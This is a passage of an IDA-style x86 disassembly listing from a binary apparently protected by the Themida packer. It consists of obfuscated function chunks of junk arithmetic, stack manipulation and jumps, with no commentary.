; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_5879F3: ; CODE XREF: sub_58FA66+475j
shr eax, 0Eh
xor eax, ecx
push eax
mov eax, esp
jmp loc_58F4B2
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_587A00: ; CODE XREF: Themida_:0058A65Dj
sub ebp, 13788628h
add edi, 75B66DE8h
sub edi, ebp
jmp loc_58C4B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_587A13: ; CODE XREF: sub_58999B+54F7j
xor dh, 10h
add bl, 0AFh
add bl, 9
jmp loc_58F337
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587A21: ; CODE XREF: sub_585452-ADBj
push 51D4h
mov [esp-0Ch+arg_8], edx
jmp loc_5852B3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587A2E: ; CODE XREF: Themida_:0058FE7Bj
xchg ebp, [esp]
mov esp, [esp]
test cl, al
pushf
jmp loc_587E56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587A3C: ; CODE XREF: sub_585452+A6A1j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-8+arg_4]
pop esp
jmp loc_5882C7
; ---------------------------------------------------------------------------
loc_587A51: ; CODE XREF: sub_585452+5889j
xor ebp, [esp-0Ch+arg_8]
jmp loc_58EEBA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_587A59: ; CODE XREF: sub_58960C+53B6j
mov edx, 0D7480643h
jmp loc_58D586
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_587A63: ; CODE XREF: sub_587574-1245j
push 6CA33C7Dh
pop ebp
add edi, ebp
pop ebp
pop esi
xchg edi, [esp+0]
pop esp
push ebx
push esp
jmp loc_584CCA
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
loc_587A78: ; CODE XREF: Themida_:005865E2j
push eax
mov eax, 4
add ebp, eax
pop eax
add ebp, 4
jmp loc_58AAA8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587A89: ; CODE XREF: sub_585452+8D93j
mov ecx, 62832727h
mov ebx, 62832729h
sub ebx, ecx
pop ecx
sub ecx, 1B9E2035h
add ecx, 59F01818h
add ecx, ebx
jmp sub_58832B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587AA9: ; CODE XREF: Themida_:00588EEFj
push ecx
mov cl, 37h
inc cl
sub cl, 80h
shl cl, 6
push edx
mov dl, 37h
jmp loc_584F8B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587ABC: ; CODE XREF: sub_585452+A0DAj
push ecx
mov ecx, 3FE81B79h
jmp loc_585369
; ---------------------------------------------------------------------------
loc_587AC7: ; CODE XREF: sub_585452+42C6j
mov cl, ah
pop eax
pop ebx
jmp loc_587D6D
; ---------------------------------------------------------------------------
loc_587AD0: ; CODE XREF: sub_585452+6B31j
pop esp
jmp loc_58F064
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov edx, [esp]
push 4190h
mov [esp], esi
mov esi, esp
add esi, 4
push edi
mov edi, 4
sub esi, edi
pop edi
xchg esi, [esp]
pop esp
mov [esp], eax
push 6A11h
mov [esp], esp
push edi
mov edi, 4
jmp loc_588457
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push edi
mov edi, esp
jmp loc_584D0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587B1E: ; CODE XREF: sub_585452+9D2Fj
xor eax, 53802C0Fh
add ebx, eax
pop eax
mov eax, [esp-1Ch+arg_16+2]
add esp, 4
neg ebx
xor ebx, 6B5166DDh
sub eax, ebx
pop ebx
sub ebx, 29F9112Bh
add ebx, 1EEA12DBh
add ebx, eax
sub esp, 4
jmp loc_58C85C
; ---------------------------------------------------------------------------
loc_587B50: ; CODE XREF: sub_585452-11F0j
shr dl, 1
sub dl, 6Ah
sub al, dl
jmp loc_5873C4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_587B5C: ; CODE XREF: sub_58F3BC+F1j
xor eax, ebx
push 4F16h
mov [esp+0], ebp
jmp loc_5886A4
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587B6B: ; CODE XREF: sub_585452+CB1j
pop edx
mov ecx, [esp+0Eh+var_10+2]
add esp, 4
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_587B77: ; CODE XREF: sub_585452+7EAj
xor ch, 6Ch
and ah, ch
pop ecx
sub ah, 27h
sub ch, ah
mov ax, word ptr [esp-8+arg_4]
add esp, 2
shr ch, 6
jmp loc_586A8A
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_587B94 proc near ; CODE XREF: sub_585452+81C4j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058A244 SIZE 0000002B BYTES
push ebx
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], eax
push [esp-4+arg_0]
mov edx, [esp+0]
jmp loc_58A244
sub_587B94 endp
; ---------------------------------------------------------------------------
loc_587BAC: ; CODE XREF: Themida_:005876A4j
add [esp], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587BB6: ; CODE XREF: sub_585452+3B63j
push eax
jmp loc_58AB95
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587BBC: ; CODE XREF: Themida_:00589598j
add esi, edx
pop edx
jmp loc_588D4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587BC4: ; CODE XREF: sub_585452+77D7j
pop esp
jmp loc_587C9E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_587BCA: ; CODE XREF: sub_58F728-7B33j
mov edx, esp
push esi
mov esi, 55CE4BD7h
jmp loc_589987
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_587BD7: ; CODE XREF: sub_58F3BC-6E32j
sub esi, 5334436Dh
xor esi, 0C2336C11h
mov edi, esi
jmp loc_58406A
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_587BEA: ; CODE XREF: sub_589C10+16B2j
sub eax, 1F2239D8h
jmp loc_58B154
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_587BF4: ; CODE XREF: sub_58F728-3C65j
push edx
jmp loc_587BCA
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_587BFA: ; CODE XREF: Themida_:00588038j
pop ecx
jmp loc_58C76D
; ---------------------------------------------------------------------------
loc_587C00: ; CODE XREF: Themida_:005880D3j
sub ecx, 91EC0D77h
sub eax, ecx
pop ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
push 57D8h
jmp loc_58FB50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587C26: ; CODE XREF: sub_585452+8B65j
add edi, esi
pop esi
neg edi
sub edi, 14D51E76h
push edi
xor [esp-0Ch+arg_8], 47744E0Fh
pop esi
xor esi, 47744E0Fh
mov edi, [esp+0]
add esp, 4
and ecx, esi
pop esi
shr ecx, 0Bh
push 519Fh
jmp loc_58A951
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
lodsd
sub eax, 7FD22900h
sub eax, 7B5B74C3h
add eax, ebx
push ecx
mov ecx, 7B5B74C3h
sub eax, 4FFA3996h
add eax, ecx
push ebx
mov ebx, 4FFA3996h
add eax, ebx
pop ebx
pop ecx
push edi
jmp loc_58DEB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587C80: ; CODE XREF: sub_585452+8AFCj
pop bx
add al, 5Ah
sub al, 0D5h
push 291Bh
mov [esp-12h+arg_E], edx
sub esp, 4
mov [esp-0Eh+arg_8+2], ebx
mov bl, 8Ah
jmp loc_587229
; ---------------------------------------------------------------------------
loc_587C9E: ; CODE XREF: sub_585452+2773j
; sub_585019+976Bj
push esi
push ebx
xor [esp-4+arg_0], 13B6641Bh
jmp loc_5840CB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587CAC: ; CODE XREF: Themida_:00584A89j
sub edi, 344B1D64h
jmp loc_58F7BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_587CB7: ; CODE XREF: sub_589FD5+566Cj
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], eax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
loc_587CC2: ; CODE XREF: Themida_:00584DE7j
add esp, 4
sub esp, 4
mov [esp], edi
push 2011h
mov [esp], ecx
jmp loc_58EBBE
; ---------------------------------------------------------------------------
loc_587CD8: ; CODE XREF: Themida_:0058C846j
pop ecx
push 21D4h
jmp loc_5856C5
; ---------------------------------------------------------------------------
loc_587CE3: ; CODE XREF: Themida_:0058D781j
mov ecx, 77CA3661h
add ecx, 602D11B8h
jmp loc_58FBBF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E234
loc_587CF3: ; CODE XREF: sub_58E234-58FEj
and esi, 30DA4D9Ah
jmp loc_589DCC
; END OF FUNCTION CHUNK FOR sub_58E234
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_587CFE: ; CODE XREF: sub_58A5A3-26D2j
pop eax
sub edx, 4
xor edx, [esp+4+var_4]
xor [esp+4+var_4], edx
xor edx, [esp+4+var_4]
pop esp
mov [esp+0], edx
jmp loc_58F3F1
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586650
loc_587D14: ; CODE XREF: sub_586650+7C07j
xor edx, 6D03214Fh
add edx, 0B9E98203h
jmp loc_58A9CC
; END OF FUNCTION CHUNK FOR sub_586650
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587D25: ; CODE XREF: sub_585452+20F0j
add bh, 21h
jmp loc_58BFDD
; ---------------------------------------------------------------------------
loc_587D2D: ; CODE XREF: sub_585452+3206j
shr eax, 5
or eax, 488C1228h
jmp loc_584AAF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_587D3A: ; CODE XREF: sub_58C230-5BCDj
push [esp-8+arg_4]
mov edi, [esp-4+arg_0]
add esp, 4
sub esp, 4
jmp loc_58D522
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_587D4E: ; CODE XREF: Themida_:0058FCDDj
mov ecx, 0FFFFFFFFh
jmp loc_585CFC
; ---------------------------------------------------------------------------
loc_587D58: ; CODE XREF: Themida_:0058E271j
mov [esp], esi
mov esi, 42E62414h
mov edi, esi
pop esi
push 5CD6h
jmp loc_5850AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587D6D: ; CODE XREF: sub_585452+2679j
xor cl, 30h
add bl, cl
jmp loc_58A56B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587D77: ; CODE XREF: Themida_:0058E885j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_587D7C: ; CODE XREF: Themida_:0058D719j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58C9C5
; ---------------------------------------------------------------------------
loc_587D9B: ; CODE XREF: Themida_:005877A3j
push ebp
mov ebp, 725A27F4h
add ebp, 34AB5331h
shl ebp, 4
push ecx
jmp loc_588F98
; ---------------------------------------------------------------------------
loc_587DB0: ; CODE XREF: Themida_:0058FABEj
push ecx
mov ecx, 4
jmp loc_585808
; ---------------------------------------------------------------------------
loc_587DBB: ; CODE XREF: Themida_:005881B7j
mov edx, 43C12B41h
and edx, 9F94734h
jmp loc_58C4FF
; ---------------------------------------------------------------------------
loc_587DCB: ; CODE XREF: Themida_:00585EEEj
push 9D5h
mov [esp], edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 2
jmp loc_58A646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_587DE6: ; CODE XREF: sub_58BE98-46FDj
pop esp
jmp loc_58BC16
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_587DEC: ; CODE XREF: sub_58AB18-46D9j
and esi, 20A2791Fh
shl esi, 3
sub esi, 186608EAh
jmp loc_58D9AE
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
loc_587E00: ; CODE XREF: Themida_:005871E4j
push ecx
jmp loc_58D51B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587E06: ; CODE XREF: sub_585452+643Ej
mov [esp-14h+arg_E+2], eax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CA39
loc_587E0E: ; CODE XREF: sub_58CA39-3EE8j
pop esp
push edi
mov edi, esp
add edi, 4
push ebp
jmp loc_58933B
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587E1E: ; CODE XREF: sub_585452+727Bj
sub esi, 4A689F36h
jmp loc_58F267
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_587E29: ; CODE XREF: sub_58E761-3C37j
mov esp, [esp+8+var_8]
div cl
movzx cx, ah
push 0D19h
jmp loc_58B536
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_587E3C: ; CODE XREF: sub_589FD5-38AFj
add ebp, 0A006896Dh
jmp loc_58813F
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_587E47: ; CODE XREF: sub_58DA2E+218Cj
add esp, 4
mov eax, [esp+8+var_8]
push edi
jmp loc_58B589
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_587E56: ; CODE XREF: Themida_:00587A37j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_587E5B: ; CODE XREF: Themida_:005845DAj
shr dl, 6
xor dl, 25h
add dl, 5Ch
sub bl, 0C2h
add bl, dl
add bl, 0C2h
pop edx
push eax
push edx
jmp loc_58D43D
; ---------------------------------------------------------------------------
lodsb
push 4BFDh
jmp loc_58400D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_587E7F: ; CODE XREF: sub_58999B+47E4j
sub edx, 615F6079h
sub edx, ebp
push esi
push 0CEF08EEh
pop esi
jmp loc_58608E
; END OF FUNCTION CHUNK FOR sub_58999B
; =============== S U B R O U T I N E =======================================
sub_587E93 proc near ; CODE XREF: sub_58A4F5-2045j
; FUNCTION CHUNK AT 005853B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B701 SIZE 00000008 BYTES
push ebx
mov bl, 90h
jmp loc_58B701
sub_587E93 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_587E9B: ; CODE XREF: Themida_:00587905j
push ebx
mov bh, 0E1h
xor bh, 65h
sub al, bh
pop ebx
push ecx
mov cl, 0C2h
jmp loc_586179
; ---------------------------------------------------------------------------
loc_587EAC: ; CODE XREF: Themida_:0058D5BDj
add edx, 2
jmp loc_5897AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587EB4: ; CODE XREF: sub_585452+DD5j
xor [esp+6+var_4+2], ecx
pop ecx
pop eax
push 6E1Fh
mov [esp+2+var_4+2], edi
jmp sub_58A459
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_587EC7: ; CODE XREF: sub_58A5A3-1D0Dj
shl eax, 4
sub eax, 210D11FCh
add edx, eax
jmp loc_587CFE
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587ED6: ; CODE XREF: sub_585452+1EFj
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587EDB: ; CODE XREF: Themida_:0058EEFDj
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop esi
sub esp, 4
mov [esp], edx
mov edx, 4
sub esi, 56F65BA5h
add esi, edx
jmp loc_587601
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587F05: ; CODE XREF: sub_585452-13EDj
push edx
mov edx, 7E71083h
sub eax, edx
pop edx
pop esi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
mov ebx, 5A54D68h
add ebx, 0FFFFFFFFh
shl ebx, 1
sub ebx, 0B4A8ACEh
and eax, ebx
push [esp+4+var_4]
pop ebx
jmp loc_584DBA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_587F43: ; CODE XREF: sub_58EFBD-6AB5j
mov ecx, 47757257h
not ecx
not ecx
add ecx, 0B88A8DADh
jmp loc_588F1B
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587F57: ; CODE XREF: sub_585452+7B4j
mov ebx, 0BE80A283h
sub ecx, ebx
pop ebx
push eax
mov eax, ecx
mov ebx, eax
pop eax
mov ecx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_58CFCA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587F73: ; CODE XREF: Themida_:0058F01Fj
xor [esp], ebp
jmp loc_5846ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587F7B: ; CODE XREF: sub_585452+2D89j
xor eax, ecx
sub esp, 4
jmp loc_5877F4
; ---------------------------------------------------------------------------
loc_587F85: ; CODE XREF: sub_585452+6FBCj
add esi, 6B0D4681h
jmp loc_58824C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587F90: ; CODE XREF: Themida_:00585382j
sub eax, edx
pop edx
add eax, ebx
add eax, 1AD90138h
push ebx
push 26933DCFh
pop ebx
shr ebx, 6
jmp loc_58B3D7
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_588EFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587FB1: ; CODE XREF: sub_585452+97E9j
pop edi
jmp loc_58BB9A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_587FB7: ; CODE XREF: Themida_:0058D51Dj
add ecx, 4
add ecx, 4
jmp loc_588EAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_587FC8: ; CODE XREF: sub_58FA66-8BB4j
push esp
jmp loc_58B65A
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_587FCE: ; CODE XREF: Themida_:0058E5E7j
push 550Ch
jmp loc_583C7C
; ---------------------------------------------------------------------------
loc_587FD8: ; CODE XREF: Themida_:00588152j
sub ecx, 21FD7E9Ah
add esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_58F7EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_587FF0: ; CODE XREF: sub_585452+183Dj
add esp, 4
jmp loc_586167
; ---------------------------------------------------------------------------
loc_587FFB: ; CODE XREF: sub_585452+9132j
push edx
mov dh, 0A8h
or dh, 0ACh
or dh, 2Ch
jmp loc_58FF4E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588009: ; CODE XREF: Themida_:00589909j
shl cl, 3
or cl, 99h
shl cl, 7
shl cl, 6
shl cl, 3
add cl, 0Bh
add bl, cl
pop ecx
jmp loc_586D31
; ---------------------------------------------------------------------------
loc_588023: ; CODE XREF: Themida_:00584196j
add ebx, 4
sub ebx, 2
jmp loc_585069
; ---------------------------------------------------------------------------
loc_588034: ; CODE XREF: Themida_:0058BC31j
push dword ptr [esp+4]
jmp loc_587BFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58803D: ; CODE XREF: sub_585452+4932j
push 7B89h
mov [esp+16h+var_18+2], edi
jmp loc_58A469
; ---------------------------------------------------------------------------
loc_58804A: ; CODE XREF: sub_585452+55j
mov edx, 266A477Eh
and edi, edx
pop edx
push ecx
mov ecx, 0F88019A7h
sub edi, ecx
push [esp+6+var_8+2]
pop ecx
add esp, 4
push edi
add [esp+6+var_8+2], 50391694h
pop esi
sub esi, 50391694h
pop edi
push eax
mov eax, 6EDF3491h
add esi, eax
pop eax
add esi, 9764FE1Bh
add eax, 1F8E3A4Ch
sub eax, esi
sub eax, 1F8E3A4Ch
pop esi
xor ebx, eax
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 2B584C62h
sub eax, 2B584C5Eh
sub edx, eax
pop eax
xchg edx, [esp+0]
pop esp
jmp loc_58C113
; ---------------------------------------------------------------------------
loc_5880B2: ; CODE XREF: sub_585452+818Dj
add eax, ebx
pop ebx
sub eax, 6E465D6Fh
jmp loc_58A2E9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5880BF: ; CODE XREF: Themida_:00589790j
mov cx, [esp]
jmp loc_58B6E1
; ---------------------------------------------------------------------------
loc_5880C8: ; CODE XREF: Themida_:0058EBE3j
mov ecx, 2CC6191Ch
dec ecx
shl ecx, 1
shl ecx, 4
jmp loc_587C00
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5880D8: ; CODE XREF: sub_585452+56E0j
add al, cl
pop ecx
jmp loc_58A930
; ---------------------------------------------------------------------------
loc_5880E0: ; CODE XREF: sub_585452+7661j
shr dh, 1
inc dh
jmp loc_5860B4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5880E9: ; CODE XREF: Themida_:00589C3Fj
add ebx, 4
xchg ebx, [esp]
pop esp
mov ebx, [esp]
add esp, 4
push 12D8h
jmp loc_58AA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588106: ; CODE XREF: sub_585452+932Bj
pop esp
add eax, 551038C4h
push 2684h
jmp loc_58FC36
; ---------------------------------------------------------------------------
loc_588116: ; CODE XREF: sub_585452+9FA7j
push ax
mov al, 0F3h
jmp loc_58CA4F
; ---------------------------------------------------------------------------
loc_58811F: ; CODE XREF: sub_585452+54FAj
pop eax
xor cl, dl
push dword ptr [esp+0]
mov edx, [esp-0Ch+arg_8]
add esp, 4
push edi
mov edi, esp
jmp loc_58A1D7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58405E
loc_588133: ; CODE XREF: sub_58405E+B038j
xor eax, 6CB6BF73h
mov edx, eax
jmp loc_5854E1
; END OF FUNCTION CHUNK FOR sub_58405E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_58813F: ; CODE XREF: sub_589FD5-2193j
mov edx, ebp
jmp loc_583E92
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
loc_588146: ; CODE XREF: Themida_:0058DE86j
and ecx, 63BE7ED8h
or ecx, 21457C8Ch
jmp loc_587FD8
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58F23F
; ---------------------------------------------------------------------------
loc_588160: ; CODE XREF: Themida_:0058431Bj
mov edi, 75142CD2h
xor edi, 7F187875h
jmp loc_584945
; ---------------------------------------------------------------------------
loc_588170: ; CODE XREF: Themida_:00588BD3j
mov esp, [esp]
test cx, ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58817C: ; CODE XREF: sub_589967+4ECAj
push edx
push 1
push [esp+18h+var_18]
pop edx
sub esp, 4
mov [esp+0], ebp
mov ebp, esp
push ebx
jmp loc_584EBA
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_588194: ; CODE XREF: Themida_:0058CF65j
add esi, 82378BBh
xor esi, 547C2ADh
sub ebx, esi
jmp loc_58A30E
; ---------------------------------------------------------------------------
loc_5881A7: ; CODE XREF: Themida_:0058499Fj
pop ecx
jmp loc_5876A0
; ---------------------------------------------------------------------------
loc_5881AD: ; CODE XREF: Themida_:0058919Aj
push ecx
mov ecx, 59EF183Dh
add esi, ecx
pop ecx
push edx
jmp loc_587DBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5881BC: ; CODE XREF: sub_58EFBD-143Aj
pop eax
jmp loc_58A280
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_5881C2: ; CODE XREF: sub_586A34+2E28j
pop ebx
xor esi, [esp-4+arg_0]
xor [esp-4+arg_0], esi
xor esi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
cmp cl, al
pushf
jmp loc_58B9C7
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5881D7: ; CODE XREF: sub_585452+5B5Dj
xor eax, ecx
xor ecx, eax
jmp loc_587F7B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5881E0: ; CODE XREF: sub_58EFBD-3327j
mov edx, eax
pop eax
push ebx
mov ebx, 778E2359h
add edx, ebx
pop ebx
jmp loc_58CFA6
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5881F1: ; CODE XREF: sub_585452+3C2j
pop esp
sub esp, 4
mov [esp+32h+var_34+2], eax
mov eax, 75AC1321h
shl eax, 6
sub eax, 5F363AC5h
xor eax, 0BCE8D7Fh
add ebp, eax
jmp loc_58BBE9
; ---------------------------------------------------------------------------
loc_588214: ; CODE XREF: sub_585452+3C50j
pop [esp+32h+var_34+2]
pop esp
jmp loc_585130
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58821D: ; CODE XREF: Themida_:005895FBj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_58944C
; ---------------------------------------------------------------------------
loc_588233: ; CODE XREF: Themida_:0058E0D4j
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub al, dl
jmp loc_586056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58824C: ; CODE XREF: sub_585452+2B39j
add esi, eax
sub esi, 6B0D4681h
push edx
mov edx, 2CC13677h
shl edx, 3
push edx
not [esp-4+arg_0]
pop edx
add edx, 0FFFFFFFFh
inc edx
add edx, 7DD11E3Ah
sub esi, edx
mov edx, [esp-8+arg_4]
jmp loc_58BA3F
; ---------------------------------------------------------------------------
loc_588279: ; CODE XREF: sub_585452+8CC5j
or bl, ah
pop ax
sub bl, 0D4h
sub bl, 0EFh
inc bl
shr bl, 5
push ebx
not byte ptr [esp-6+arg_0+2]
pop ebx
add bl, 3Eh
push dx
mov dh, 0C1h
add al, dh
pop dx
add al, bl
sub esp, 4
mov [esp-6+arg_0+2], ecx
mov cl, 4Ah
xor cl, 8Bh
sub al, cl
pop ecx
jmp loc_58F709
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5882AD: ; CODE XREF: sub_58EFBD-6424j
mov [esp-4+arg_0], edx
push 78CBh
jmp loc_58881C
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5882BA: ; CODE XREF: sub_585452+C6Cj
push dx
mov dh, bh
dec dh
mov bh, dh
jmp loc_589C62
; ---------------------------------------------------------------------------
loc_5882C7: ; CODE XREF: sub_585452+25FAj
add edx, 0A1E4D5Bh
